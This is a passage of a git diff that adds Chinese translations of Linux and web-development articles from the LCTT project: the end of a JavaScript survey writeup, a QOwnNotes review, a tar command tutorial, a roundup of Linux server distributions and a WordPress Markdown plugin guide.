CoffeeScript 百科全书了…… + +### 满意度 + +现在是最重要的问题的时间了:有多少开发者用过这些语言,有多少人还想继续使用这些方言呢? + +![](https://d3ugvbs94d921r.cloudfront.net/57c4e5f79973d29461ee820a.png?t=1061d2ab8fc9838) + +虽然经典 JavaScript 拥有最多的用户量,但就满意度来说 ES6 才是大赢家,而且我想现在已经能安全的说,ES6 可以作为开发 JavaScript App 默认的语言。 + +TypeScript 和 Elm 有相似的高满意度,都在 85% 上下。然后,只有可怜的 17% 的开发者会考虑继续使用 CoffeeScript。 + +### 快乐度 + +最后一个问题,我问大家在用现在的方式写 JavaScript 时是否感到快乐: + +![](https://d3ugvbs94d921r.cloudfront.net/57c4cd8c9973d2d95bee820a.png?t=f53efb029ea4456) + +这个问题的答案和上一个问题的满意度想匹配:平均分达到 3.96 分(1 - 5 分),大家在使用 JavaScript 时候确实是快乐的。 + +不过很难说高分是因为 JavaScript 最近的一些改进造成的呢,还是发现 JavaScript 可能(仅仅是可能)没有大家认为的那么讨厌。总之,JavaScript 令人满意。 + +### 总结 + +如果说上次的赢家是 React 和 Vue,那此次调查的冠军毫无争议是 ES6 了。 ES6 并带来没有开天辟地的变化,但整个社区都还是很认可当前 JavaScript 演进方向的。 + +我觉得一年之后我们再来一次这样的调查,结果会很有趣。同时也可以关注一下 TypeScript、Elm 还有ClojureScript 有没有继续进步。 + +个人认为,当前 JavaScript 大家庭百花齐放的现象还只是一个开始,或许几年之后 JavaScript 就会变得非常不同了。 + +### 结语 & 敬请期待 + +对于我这样的调查来说数据越多就意味着数据越准确!越多人参加这个调查,那就越能代表整个 JavaScript 社区。 + +所以,我十分希望你能帮忙分享这个调查问卷: + +- [在 Twitter 上][1] +- [在 Facebook 上][2] + +另外,如果你想收到我下一个调查结果分析,前往 [调查问卷主页][3] 并留下自己的邮箱吧。 + +-------------------------------------------------------------------------------- + +via: https://medium.com/@sachagreif/the-state-of-javascript-javascript-flavors-1e02b0bfefb6 + +作者:[Sacha Greif][a] +译者:[eriwoon](https://github.com/eriwoon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://medium.com/@sachagreif +[1]: https://twitter.com/intent/tweet/?text=The%20State%20Of%20JavaScript%3A%20take%20a%20short%20survey%20about%20popular%20JavaScript%20technologies%20http%3A%2F%2Fstateofjs.com%20%23stateofjs +[2]: https://facebook.com/sharer/sharer.php?u=http%3A%2F%2Fstateofjs.com +[3]: http://stateofjs.com/ diff --git a/published/201609/20160905 QOWNNOTES IS A NOTE TAKING AND TODO LIST APP THAT INTEGRATES WITH OWNCLOUD.md b/published/201609/20160905 QOWNNOTES IS A NOTE TAKING AND TODO LIST APP THAT INTEGRATES WITH OWNCLOUD.md new file mode 100755 index 0000000000..ccef2057ef --- /dev/null +++ b/published/201609/20160905 QOWNNOTES IS A NOTE TAKING AND TODO LIST APP THAT INTEGRATES WITH OWNCLOUD.md @@ -0,0 +1,77 @@ +QOwnNotes:一款记录笔记和待办事项的应用,集成 ownCloud 云服务 +=============== + +[QOwnNotes][1] 是一款自由而开源的笔记记录和待办事项的应用,可以运行在 Linux、Windows 和 mac 上。 + +这款程序将你的笔记保存为纯文本文件,它支持 Markdown 支持,并与 ownCloud 云服务紧密集成。 + +![](https://2.bp.blogspot.com/-a2vsrOG0zFk/V81gyHWlaaI/AAAAAAAAYZs/uzY16JtNcT8bnje1rTKJx1135WueY6V9gCLcB/s400/qownnotes.png) + +QOwnNotes 的亮点就是它集成了 ownCloud 云服务(当然是可选的)。在 ownCloud 上用这款 APP,你就可以在网路上记录和搜索你的笔记,也可以在移动设备上使用(比如一款像 CloudNotes 的软件[2])。 + +不久以后,用你的 ownCloud 账户连接上 QOwnNotes,你就可以从你 ownCloud 服务器上分享笔记和查看或恢复之前版本记录的笔记(或者丢到垃圾箱的笔记)。 + +同样,QOwnNotes 也可以与 ownCloud 任务或者 Tasks Plus 应用程序相集成。 + + 如果你不熟悉 [ownCloud][3] 的话,这是一款替代 Dropbox、Google Drive 和其他类似商业性的网络服务的自由软件,它可以安装在你自己的服务器上。它有一个网络界面,提供了文件管理、日历、照片、音乐、文档浏览等等功能。开发者同样提供桌面同步客户端以及移动 APP。 + +因为笔记被保存为纯文本,它们可以在不同的设备之间通过云存储服务进行同步,比如 Dropbox,Google Drive 等等,但是在这些应用中不能完全替代 ownCloud 的作用。 + +我提到的上述特点,比如恢复之前的笔记,只能在 ownCloud 下可用(尽管 Dropbox 和其他类似的也提供恢复以前的文件的服务,但是你不能在 QOwnnotes 中直接访问到)。 + +鉴于 QOwnNotes 有这么多优点,它支持 Markdown 语言(内置了 Markdown 预览模式),可以标记笔记,对标记和笔记进行搜索,在笔记中加入超链接,也可以插入图片: + +![](https://4.bp.blogspot.com/-SuBhC43gzkY/V81oV7-zLBI/AAAAAAAAYZ8/l6nLQQSUv34Y7op_Xrma8XYm6EdWrhbIACLcB/s400/qownnotes_2.png) + +标记嵌套和笔记文件夹同样支持。 + +代办事项管理功能比较基本还可以做一些改进,它现在打开在一个单独的窗口里,它也不用和笔记一样的编辑器,也不允许添加图片或者使用 Markdown 语言。 + +![](https://3.bp.blogspot.com/-AUeyZS3s_ck/V81opialKtI/AAAAAAAAYaA/xukIiZZUdNYBVZ92xgKEsEFew7q961CDwCLcB/s400/qownnotes-tasks.png) + +它可以让你搜索你代办事项,设置事项优先级,添加提醒和显示完成的事项。此外,待办事项可以加入笔记中。 + +这款软件的界面是可定制的,允许你放大或缩小字体,切换窗格等等,也支持无干扰模式。 + +![](https://4.bp.blogspot.com/-Pnzw1wZde50/V81rrE6mTWI/AAAAAAAAYaM/0UZnH9ktbAgClkuAk1g6fgXK87kB_Bh0wCLcB/s400/qownnotes-distraction-free.png) + +从程序的设置里,你可以开启黑夜模式(这里有个 bug,在 Ubuntu 16.04 里有些工具条图标消失了),改变状态条大小,字体和颜色方案(白天和黑夜): + +![](https://1.bp.blogspot.com/-K1MGlXA8sxs/V81rv3fwL6I/AAAAAAAAYaQ/YDhhhnbJ9gY38B6Vz1Na_pHLCjLHhPWiwCLcB/s400/qownnotes-settings.png) + +其他的特点有支持加密(笔记只能在 QOwnNotes 中加密),自定义键盘快捷键,输出笔记为 pdf 或者 Markdown,自定义笔记自动保存间隔等等。 + +访问 [QOwnNotes][11] 主页查看完整的特性。 + +### 下载 QOwnNotes + +如何安装,请查看安装页(支持 Debian、Ubuntu、Linux Mint、openSUSE、Fedora、Arch Linux、KaOS、Gentoo、Slackware、CentOS 以及 Mac OSX 和 Windows)。 + +QOwnNotes 的 [snap][5] 包也是可用的,在 Ubuntu 16.04 或更新版本中,你可以通过 Ubuntu 的软件管理器直接安装它。 + +为了集成 QOwnNotes 到 ownCloud,你需要有 [ownCloud 服务器][6],同样也需要 [Notes][7]、[QOwnNotesAPI][8]、[Tasks][9]、[Tasks Plus][10] 等 ownColud 应用。这些可以从 ownCloud 的 Web 界面上安装,不需要手动下载。 + +请注意 QOenNotesAPI 和 Notes ownCloud 应用是实验性的,你需要“启用实验程序”来发现并安装他们,可以从 ownCloud 的 Web 界面上进行设置,在 Apps 菜单下,在左下角点击设置按钮。 + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2016/09/qownnotes-is-note-taking-and-todo-list.html + +作者:[Andrew][a] +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.webupd8.org/p/about.html +[1]: http://www.qownnotes.org/ +[2]: http://peterandlinda.com/cloudnotes/ +[3]: https://owncloud.org/ +[4]: http://www.qownnotes.org/installation +[5]: https://uappexplorer.com/app/qownnotes.pbek +[6]: https://download.owncloud.org/download/repositories/stable/owncloud/ +[7]: https://github.com/owncloud/notes +[8]: https://github.com/pbek/qownnotesapi +[9]: https://apps.owncloud.com/content/show.php/Tasks?content=164356 +[10]: https://apps.owncloud.com/content/show.php/Tasks+Plus?content=170561 +[11]: http://www.qownnotes.org/ diff --git a/published/201609/20160911 17 tar command practical examples in Linux.md b/published/201609/20160911 17 tar command practical examples in Linux.md new file mode 100644 index 0000000000..628cc87cf9 --- /dev/null +++ b/published/201609/20160911 17 tar command practical examples in Linux.md @@ -0,0 +1,333 @@ +17 个 tar 命令实用示例 +===== + +Tar(Tape ARchive,磁带归档的缩写,LCTT 译注:最初设计用于将文件打包到磁带上,现在我们大都使用它来实现备份某个分区或者某些重要的目录)是类 Unix 系统中使用最广泛的命令,用于归档多个文件或目录到单个归档文件中,并且归档文件可以进一步使用 gzip 或者 bzip2 等技术进行压缩。换言之,tar 命令也可以用于备份:先是归档多个文件和目录到一个单独的 tar 文件或归档文件,然后在需要之时将 tar 文件中的文件和目录释放出来。 + +本文将介绍 tar 的 17 个实用示例。 + +tar 命令语法如下: + +``` +# tar <选项> <文件> +``` + +下面列举 tar 命令中一些常用的选项: + +> --delete : 从归档文件 (而非磁带) 中删除 + +> -r, --append : 将文件追加到归档文件中 + +> -t, --list : 列出归档文件中包含的内容 + +> --test-label : 测试归档文件卷标并退出 + +> -u, --update : 将已更新的文件追加到归档文件中 + +> -x, --extract, --get : 释放归档文件中文件及目录 + +> -C, --directory=DIR : 执行归档动作前变更工作目录到 DIR + +> -f, --file=ARCHIVE : 指定 (将要创建或已存在的) 归档文件名 + +> -j, --bip2 : 对归档文件使用 bzip2 压缩 + +> -J, --xz : 对归档文件使用 xz 压缩 + +> -p, --preserve-permissions : 保留原文件的访问权限 + +> -v, --verbose : 显示命令整个执行过程 + +> -z, gzip : 对归档文件使用 gzip 压缩 + + +注 : 在 tar 命令选项中的连接符 `-` 是可选的(LCTT 译注:不用 `-` 也没事。这在 GNU 软件里面很罕见,大概是由于 tar 命令更多受到古老的 UNIX 风格影响)。 + +### 示例 1:创建一个 tar 归档文件 + +现在来创建一个 tar 文件,将 /etc/ 目录和 /root/anaconda-ks.cfg 文件打包进去。 + +``` +[root@linuxtechi ~]# tar -cvf myarchive.tar /etc /root/anaconda-ks.cfg +``` + +以上命令会在当前目录创建一个名为 "myarchive" 的 tar 文件,内含 /etc/ 目录和 /root/anaconda-ks.cfg 文件。 + +其中,`-c` 选项表示要创建 tar 文件,`-v` 选项用于输出 tar 的详细过程到屏幕上,`-f` 选项则是指定归档文件名称。 + +``` +[root@linuxtechi ~]# ls -l myarchive.tar +-rw-r--r--. 1 root root 22947840 Sep 7 00:24 myarchive.tar +[root@linuxtechi ~]# +``` + +### 示例 2:列出归档文件中的内容 + +在 tar 命令中使用 `–t` 选项可以不用释放其中的文件就可以快速列出文件中包含的内容。 + +``` +[root@linuxtechi ~]# tar -tvf myarchive.tar +``` + +列出 tar 文件中的指定的文件和目录。下列命令尝试查看 anaconda-ks.cfg 文件是否存在于 tar 文件中。 + +``` +[root@linuxtechi ~]# tar -tvf myarchive.tar root/anaconda-ks.cfg +-rw------- root/root 953 2016-08-24 01:33 root/anaconda-ks.cfg +[root@linuxtechi ~]# +``` + +### 示例 3:追加文件到归档(tar)文件中 + +`-r` 选项用于向已有的 tar 文件中追加文件。下面来将 /etc/fstab 添加到 data.tar 中。 + +``` +[root@linuxtechi ~]# tar -rvf data.tar /etc/fstab +``` + +注:在压缩过的 tar 文件中无法进行追加文件操作。 + +### 示例 4:从 tar 文件中释放文件以及目录 + +`-x` 选项用于释放出 tar 文件中的文件和目录。下面来释放上边创建的 tar 文件中的内容。 + +``` +[root@linuxtechi ~]# tar -xvf myarchive.tar +``` + +这个命令会在当前目录中释放出 myarchive.tar 文件中的内容。 + +### 示例 5:释放 tar 文件到指定目录 + +假如你想要释放 tar 文件中的内容到指定的文件夹或者目录,使用 `-C` 选项后边加上指定的文件的路径。 + +``` +[root@linuxtechi ~]# tar -xvf myarchive.tar -C /tmp/ +``` + +### 示例 6:释放 tar 文件中的指定文件或目录 + +假设你只要释放 tar 文件中的 anaconda-ks.cfg 到 /tmp 目录。 + +语法如下: + +``` +# tar –xvf {tar-file } {file-to-be-extracted } -C {path-where-to-extract} + +[root@linuxtechi tmp]# tar -xvf /root/myarchive.tar root/anaconda-ks.cfg -C /tmp/ +root/anaconda-ks.cfg +[root@linuxtechi tmp]# ls -l /tmp/root/anaconda-ks.cfg +-rw-------. 1 root root 953 Aug 24 01:33 /tmp/root/anaconda-ks.cfg +[root@linuxtechi tmp]# +``` + +### 示例 7:创建并压缩归档文件(.tar.gz 或 .tgz) + +假设我们需要打包 /etc 和 /opt 文件夹,并用 gzip 工具将其压缩。可以在 tar 命令中使用 `-z` 选项来实现。这种 tar 文件的扩展名可以是 .tar.gz 或者 .tgz。 + +``` +[root@linuxtechi ~]# tar -zcpvf myarchive.tar.gz /etc/ /opt/ +``` + +或 + +``` +[root@linuxtechi ~]# tar -zcpvf myarchive.tgz /etc/ /opt/ +``` + +### 示例 8:创建并压缩归档文件(.tar.bz2 或 .tbz2) + +假设我们需要打包 /etc 和 /opt 文件夹,并使用 bzip2 压缩。可以在 tar 命令中使用 `-j` 选项来实现。这种 tar 文件的扩展名可以是 .tar.bz2 或者 .tbz。 + +``` +[root@linuxtechi ~]# tar -jcpvf myarchive.tar.bz2 /etc/ /opt/ +``` + +或 + +``` +[root@linuxtechi ~]# tar -jcpvf myarchive.tbz2 /etc/ /opt/ +``` + +### 示例 9:排除指定文件或类型后创建 tar 文件 + +创建 tar 文件时在 tar 命令中使用 `–exclude` 选项来排除指定文件或者类型。假设在创建压缩的 tar 文件时要排除 .html 文件。 + +``` +[root@linuxtechi ~]# tar -zcpvf myarchive.tgz /etc/ /opt/ --exclude=*.html +``` + +### 示例 10:列出 .tar.gz 或 .tgz 文件中的内容 + +使用 `-t` 选项可以查看 .tar.gz 或 .tgz 文件中内容。如下: + +``` +[root@linuxtechi ~]# tar -tvf myarchive.tgz | more +............................................. +drwxr-xr-x root/root 0 2016-09-07 08:41 etc/ +-rw-r--r-- root/root 541 2016-08-24 01:23 etc/fstab +-rw------- root/root 0 2016-08-24 01:23 etc/crypttab +lrwxrwxrwx root/root 0 2016-08-24 01:23 etc/mtab -> /proc/self/mounts +-rw-r--r-- root/root 149 2016-09-07 08:41 etc/resolv.conf +drwxr-xr-x root/root 0 2016-09-06 03:55 etc/pki/ +drwxr-xr-x root/root 0 2016-09-06 03:15 etc/pki/rpm-gpg/ +-rw-r--r-- root/root 1690 2015-12-09 04:59 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 +-rw-r--r-- root/root 1004 2015-12-09 04:59 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Debug-7 +-rw-r--r-- root/root 1690 2015-12-09 04:59 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Testing-7 +-rw-r--r-- root/root 3140 2015-09-15 06:53 etc/pki/rpm-gpg/RPM-GPG-KEY-foreman +.......................................................... +``` + +### 示例 11:列出 .tar.bz2 或 .tbz2 文件中的内容 + +使用 `-t` 选项可以查看 .tar.bz2 或 .tbz2 文件中内容。如下: + +``` +[root@linuxtechi ~]# tar -tvf myarchive.tbz2 | more +........................................................ +rwxr-xr-x root/root 0 2016-08-24 01:25 etc/pki/java/ +lrwxrwxrwx root/root 0 2016-08-24 01:25 etc/pki/java/cacerts -> /etc/pki/ca-trust/extracted/java/cacerts +drwxr-xr-x root/root 0 2016-09-06 02:54 etc/pki/nssdb/ +-rw-r--r-- root/root 65536 2010-01-12 15:09 etc/pki/nssdb/cert8.db +-rw-r--r-- root/root 9216 2016-09-06 02:54 etc/pki/nssdb/cert9.db +-rw-r--r-- root/root 16384 2010-01-12 16:21 etc/pki/nssdb/key3.db +-rw-r--r-- root/root 11264 2016-09-06 02:54 etc/pki/nssdb/key4.db +-rw-r--r-- root/root 451 2015-10-21 09:42 etc/pki/nssdb/pkcs11.txt +-rw-r--r-- root/root 16384 2010-01-12 15:45 etc/pki/nssdb/secmod.db +drwxr-xr-x root/root 0 2016-08-24 01:26 etc/pki/CA/ +drwxr-xr-x root/root 0 2015-06-29 08:48 etc/pki/CA/certs/ +drwxr-xr-x root/root 0 2015-06-29 08:48 etc/pki/CA/crl/ +drwxr-xr-x root/root 0 2015-06-29 08:48 etc/pki/CA/newcerts/ +drwx------ root/root 0 2015-06-29 08:48 etc/pki/CA/private/ +drwx------ root/root 0 2015-11-20 06:34 etc/pki/rsyslog/ +drwxr-xr-x root/root 0 2016-09-06 03:44 etc/pki/pulp/ +.............................................................. +``` + +### 示例 12:解压 .tar.gz 或 .tgz 文件 + +使用 `-x` 和 `-z` 选项来解压 .tar.gz 或 .tgz 文件。如下: + +``` +[root@linuxtechi ~]# tar -zxpvf myarchive.tgz -C /tmp/ +``` + +以上命令将 tar 文件解压到 /tmp 目录。 + +注:现今的 tar 命令会在执行解压动作前自动检查文件的压缩类型,这意味着我们在使用 tar 命令是可以不用指定文件的压缩类型。如下: + +``` +[root@linuxtechi ~]# tar -xpvf myarchive.tgz -C /tmp/ +``` + +### 示例 13:解压 .tar.bz2 或 .tbz2 文件 + +使用 `-j` 和 `-x` 选项来解压 .tar.bz2 或 .tbz2 文件。如下: + +``` +[root@linuxtechi ~]# tar -jxpvf myarchive.tbz2 -C /tmp/ +``` + +或 + +``` +[root@linuxtechi ~]# tar xpvf myarchive.tbz2 -C /tmp/ +``` + +### 示例 14:使用 tar 命令进行定时备份 + +总有一些实时场景需要我们对指定的文件和目录进行打包,已达到日常备份的目的。假设需要每天备份整个 /opt 目录,可以创建一个带 tar 命令的 cron 任务来完成。如下: + +``` +[root@linuxtechi ~]# tar -zcvf optbackup-$(date +%Y-%m-%d).tgz /opt/ +``` + +为以上命令创建一个 cron 任务即可。 + +### 示例 15:使用 -T 及 -X 创建压缩归档文件 + +想像这样一个场景:把想要归档和压缩的文件及目录记录到到一个文件,然后把这个文件当做 tar 命令的传入参数来完成归档任务;而有时候则是需要排除上面提到的这个文件里面记录的特定路径后进行归档和压缩。 + +在 tar 命令中使用 `-T` 选项来指定该输入文件,使用 `-X` 选项来指定包含要排除的文件列表。 + +假设要归档 /etc、/opt、/home 目录,并排除 /etc/sysconfig/kdump 和 /etc/sysconfig/foreman 文件,可以创建 /root/tar-include 和 /root/tar-exclude 然后分别输入以下内容: + +``` +[root@linuxtechi ~]# cat /root/tar-include +/etc +/opt +/home +[root@linuxtechi ~]# +[root@linuxtechi ~]# cat /root/tar-exclude +/etc/sysconfig/kdump +/etc/sysconfig/foreman +[root@linuxtechi ~]# +``` + +运行以下命令来创建一个压缩归档文件。 + +``` +[root@linuxtechi ~]# tar zcpvf mybackup-$(date +%Y-%m-%d).tgz -T /root/tar-include -X /root/tar-exclude +``` + +### 示例 16:查看 .tar、.tgz 和 .tbz2 文件的大小 + +使用如下命令来查看 (压缩) tar 文件的体积。 + +``` +[root@linuxtechi ~]# tar -czf - data.tar | wc -c +427 +[root@linuxtechi ~]# tar -czf - mybackup-2016-09-09.tgz | wc -c +37956009 +[root@linuxtechi ~]# tar -czf - myarchive.tbz2 | wc -c +30835317 +[root@linuxtechi ~]# +``` + +### 示例 17:分割体积庞大的 tar 文件为多份小文件 + +类 Unix 系统中使用 split 命令来将大体积文件分割成小体积文件。大体积的 tar 当然也可以使用这个命令来进行分割。 + +假设需要将 "mybackup-2016-09-09.tgz" 分割成每份 6 MB 的小文件。 + +``` +Syntax : split -b . “prefix-name” +``` + +``` +[root@linuxtechi ~]# split -b 6M mybackup-2016-09-09.tgz mybackup-parts +``` + +以上命令会在当前目录分割 mybackup-2016-09-09.tgz 文件成为多个 6 MB 的小文件,文件名为 mybackup-partsaa ~ mybackup-partsag。如果在要在分割文件后以数字而非字母来区分,可以在以上的 split 命令使用 `-d` 选项。 + +``` +[root@linuxtechi ~]# ls -l mybackup-parts* +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsaa +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsab +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsac +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsad +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsae +-rw-r--r--. 1 root root 6291456 Sep 10 03:05 mybackup-partsaf +-rw-r--r--. 1 root root 637219 Sep 10 03:05 mybackup-partsag +[root@linuxtechi ~]# +``` + +然后通过网络将这些分割文件转移到其他服务器,就可以合并成为一个单独的 tar 文件了,如下: + +``` +[root@linuxtechi ~]# cat mybackup-partsa* > mybackup-2016-09-09.tgz +[root@linuxtechi ~]# +``` + +文毕,希望你喜欢 tar 命令的这几个不同的示例。随时评论并分享你的心得。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/17-tar-command-examples-in-linux/ + +作者:[Pradeep Kumar][a] +译者:[GHLandy](https://github.com/GHLandy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201609/20160912 Five Linux Server Distros Worth Checking Out.md b/published/201609/20160912 Five Linux Server Distros Worth Checking Out.md new file mode 100644 index 0000000000..788a08aa0a --- /dev/null +++ b/published/201609/20160912 Five Linux Server Distros Worth Checking Out.md @@ -0,0 +1,58 @@ +5 个值得了解的 Linux 服务器发行版 +========= + +> 你在 Distrowatch.com 上看到列出的将近 300 个 Linux 发行版本中,几乎任何一个发行版都可以被用来作为服务器系统。下面是一些相对于其他发行版而言比较突出的一些发行版。 + +![](http://windowsitpro.com/site-files/windowsitpro.com/files/imagecache/large_img/uploads/2016/09/cloudservers.jpg) + +你在 Distrowatch.com 上看到列出的将近 300 个 Linux 发行版本中,几乎任何一个发行版都可以被用来作为服务器系统,在 Linux 发展的早期,给用户提供的一直是“全能”发行版,例如 Slackware、Debian 和 Gentoo 可以为家庭和企业作为服务器完成繁重的工作。那或许对业余爱好者是不错的,但是它对于专业人员来说也有好多不必要的地方。 + +首先,这里有一些发行版可以作为文件和应用服务器,给工作站提供常见外围设备的共享,提供网页服务和其它我们希望服务器做的任何工作,不管是在云端、在数据中心或者在服务器机架上,除此之外没有别的用途。 + +下面是 5 个最常用的 Linux 发行版的简单总结,而且每一个发行版都可以满足小型企业的需求。 + +### Red Hat Enterprise Linux(RHEL) + +这或许是最有名的 Linux 服务器发行版了。RHEL 以它在高要求的至关重要的任务上坚如磐石的稳定性而出名,例如运行着纽约证券交易系统。红帽也提供了业内最佳的服务支持。 + +那么红帽 Linux 的缺点都有什么呢? 尽管红帽以提供首屈一指的客户服务和支持而出名,但是它的支持订阅费用并不便宜。有人可能会指出,这的确物有所值。确实有便宜的 RHEL 第三方服务,但是你或许应该在这么做之前做一些研究。 + +### CentOS + +任何喜欢 RHEL,但是又不想给红帽付费来获得支持的人都应该了解一下 CentOS,它基本上是红帽企业版 Linux 的一个分支。尽管这个项目 2004 年左右才开始,但它在 2014 年得到了红帽的官方支持,而它现在雇佣可这个项目的大多数开发者,这意味着安全补丁和漏洞修复提交到红帽不久后就会在 CentOS 上可用。 + +如果你想要部署 CentOS,你将需要有 Linux 技能的员工,因为没有了技术支持,你基本上只能靠自己。有一个好消息是 CentOS 社区提供了十分丰富的资源,例如邮件列表、Web 论坛和聊天室,所以对那些寻找帮助的人来说,社区帮助还是有的。 + +### Ubuntu Server + +当许多年前 Canonical 宣布它将要推出一个服务器版本的 Ubuntu 的时候,你可能会听到过嘲笑者的声音。然而嘲笑很快变成了惊奇,Ubuntu Server 迅速地站稳了脚跟。部分原因是因为其来自 Debian 派生的基因,Debian 长久以来就是一个备受喜爱的 Linux 服务器发行版,Ubuntu 通过提供一般人可以支付的起的技术支持费用、优秀的硬件支持、开发工具和很多亮点填补了这个市场空隙。 + +那么 Ubuntu Server 有多么受欢迎呢?最近的数据表明它正在成为在 OpenStack 和 Amazon Elastic Compute Cloud 上[部署最多的操作系统][1]。在那里 Ubuntu Server 超过了位居第二的 Amazon Linux 的 Amazon Machine Image 一大截,而且让第三位 Windows 处于尘封的地位。另外一个调查显示 Ubuntu Server 是[使用最多的 Linux web 服务器][2]。 + +### SUSE Linux Enterprise Server(SLES) + +这个源自德国的发行版在欧洲有很大的用户群,而且在本世纪初由 Novell 公司引起的 PR 问题出现之前,它一直都是大西洋这边的排名第一服务器发行版。在那段漫长的时期之后,SUSE 在美国获得了发展,而且它的使用或许加速了惠普企业公司将它作为[ Linux 首选合作伙伴][3]。 + +SLES 稳定而且易于维护,这正是很久以来对于一个好的 Linux 发行版所期待的东西。付费的 7*24 小时快速响应技术支持可以供你选择,使得这发行版很适合关键任务的部署。 + +### ClearOS + +基于 RHEL,之所以这里要包括 [ClearOS][4] 是因为它对于每个人来说都足够简单,甚至是没有专业知识的人都可以去配置它。它定位于服务中小型企业,它也可以被家庭用户用来作为娱乐服务器,为了简单易用我们可以基于 Web 界面进行管理,它是以“构建你的 IT 基础设施应该像在智能手机上下载 app 一样简单”为前提来定制的。 + +最新的 7.2 发行版本,包括了一些可能并不“轻量级”的功能,例如对微软 Hyper-V 技术的 VM 支持,支持 XFS 和 BTRFS 文件系统,也支持 LVM 和 IPv6。这些新特性在免费版本或者在并不算贵的带着各种支持选项的专业版中都是可用的。 + +-------------------------------------------------------------------------------- + +via: http://windowsitpro.com/industry/five-linux-server-distros-worth-checking-out + +作者:[Christine Hall][a] +译者:[LinuxBars](https://github.com/LinuxBars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://windowsitpro.com/industry/five-linux-server-distros-worth-checking-out +[1]: http://www.zdnet.com/article/ubuntu-linux-continues-to-dominate-openstack-and-other-clouds/ +[2]: https://w3techs.com/technologies/details/os-linux/all/all +[3]: http://windowsitpro.com/industry/suse-now-hpes-preferred-partner-micro-focus-pact +[4]: https://www.clearos.com/ \ No newline at end of file diff --git a/published/201609/20160913 How to Use Markdown in WordPress to Improve Workflow.md b/published/201609/20160913 How to Use Markdown in WordPress to Improve Workflow.md new file mode 100755 index 0000000000..a30f692bda --- /dev/null +++ b/published/201609/20160913 How to Use Markdown in WordPress to Improve Workflow.md @@ -0,0 +1,58 @@ +在 WordPress 下如何通过 Markdown 来提高工作效率 +================= + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/09/markdown-wordpress-featured-2.jpg) + +Markdown 是一种简单的标记语言,旨在帮助你花费更小的代价来格式化纯文本文档。在 WordPress 下你可以使用 HTML 或者可视化编辑器来格式化你的文档,但是使用 markdown 可以让格式化文档变得更加容易,而且你随时可以导出成很多种格式,包括(但不限于)HTML。 + +WordPress 没有原生的 markdown 的支持,但是,如果你希望的话,在你的网站上有多种插件可以添加这种功能。 + +在这个教程中,我将会演示如何使用流行的 WP-Markdown 插件为 WordPress 网站添加 markdown 支持。 + +### 安装 + +导航到 “Plugins -> Add New”,然后在提供的搜索框中输入 “[wp-markdown][1]” 就可以直接安装。插件应该会出现在列表中的第一个。单击 “Install Now” 进行安装。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/markdown-wordpress-install-plugin-1.png) + +### 配置 + +当你已经安装了这个插件并且激活它之后,导航到 “Settings -> Writing” 并向下滚动,直到 markdown 选项。 + +你可以启用文章、页面和评论中对于 markdown 的支持。如果你刚刚开始学习 markdown 语法的话,那么你也可以在文章编辑器或者评论的地方启用一个帮助栏,这可以使你更方便一些。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/09/markdown-wordpress-configuration.png) + +如果在你的博客文章中包括代码片段的话,那么启用 “Prettify syntax highlighter” 将会让你的代码片段自动语法高亮。 + +一旦对于你的选择感觉满意的话,那么就单击 “Save Changes” 来保存你的设置吧。 + +### 使用 Markdown 来写你的文章 + +当你在自己网站中启用了 markdown 的支持,你就可以立马开始使用了。 + +通过 “Posts -> Add New” 创建一篇新的文章。你将会注意到默认的可视化及纯文本编辑器已经被 markdown 编辑器所替代。 + +如果你在配置选项中没有启用 markdown 的帮助栏,你将不会看到 markdown 格式化后的实时预览。然而,只要你的语法是正确的,当你保存或者发布文章的时候,你的 markdown 就会转换成正确的 HTML。 + +然而,如果你是 markdown 的初学者的话,实时预览这一特征对你会很重要,只需要简单的回到刚才的设置中启用帮助栏选项,你就可以在你的文章底部看到一块漂亮的实时预览区域。另外,你也可以在顶部看到很多按钮,它们将帮助你在文章中快速的插入 markdown 格式。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/08/markdown-wordpress-create-post.png) + +### 结语 + +正如你所看到的那样,在 WordPress 网站上添加 markdown 支持确实容易,你将只需要花费几分钟的时间就可以了。如果对于 markdown 你全然不知的话,或许你也可以查看我们的 [markdown 备忘录][2],它将对于 markdown 语法提供一个全面的参考。 + +-------------------------------------------------------------------------------- + +via: https://www.maketecheasier.com/use-markdown-in-wordpress/ + +作者:[Ayo Isaiah][a] +译者:[yangmingming](https://github.com/yangmingming) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.maketecheasier.com/author/ayoisaiah/ +[1]: https://wordpress.org/plugins/wp-markdown/ +[2]: https://www.maketecheasier.com/productive-with-markdown-cheatsheet/ diff --git a/published/201609/20160913 Linus Torvalds reveals his favorite programming laptop.md b/published/201609/20160913 Linus Torvalds reveals his favorite programming laptop.md new file mode 100644 index 0000000000..8e77181c90 --- /dev/null +++ b/published/201609/20160913 Linus Torvalds reveals his favorite programming laptop.md @@ -0,0 +1,63 @@ +Linus Torvalds 